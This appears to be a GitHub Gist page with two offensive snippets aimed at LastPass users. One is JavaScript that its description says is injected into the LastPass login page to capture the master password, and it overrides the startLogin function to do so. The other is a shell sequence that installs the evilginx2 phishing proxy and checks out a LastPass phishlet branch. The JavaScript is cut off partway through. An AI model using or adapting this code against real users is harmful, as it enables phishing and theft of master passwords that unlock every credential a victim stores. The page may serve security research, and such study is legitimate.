Skip to content

Instantly share code, notes, and snippets.

View pberba's full-sized avatar

Pepe Berba pberba

View GitHub Profile
@pberba
pberba / lastpass-inject.js
Created May 26, 2020 09:24
Javascript to inject in LastPass login page to be able to grab the master password on login
// We override the startLogin function
if ((typeof _startLogin === 'undefined') && (typeof startLogin !== 'undefined')) {
_startLogin = startLogin;
startLogin = function() {
var form = document.getElementById("loginform");
var hidden_password = document.getElementById("_password");
if(!hidden_password) {
hidden_password = document.createElement("input");
hidden_password.type = "hidden";
hidden_password.id = "_password";
@pberba
pberba / evilginx2-lastpass.sh
Last active January 27, 2022 19:33
How to get Lastpass Phishlet for evilginx2
# Install go first
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
sudo apt-get install git make
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
git remote add pberba https://github.com/pberba/evilginx2.git
git fetch pberba
git checkout -b lastpass pberba/feature/lastpass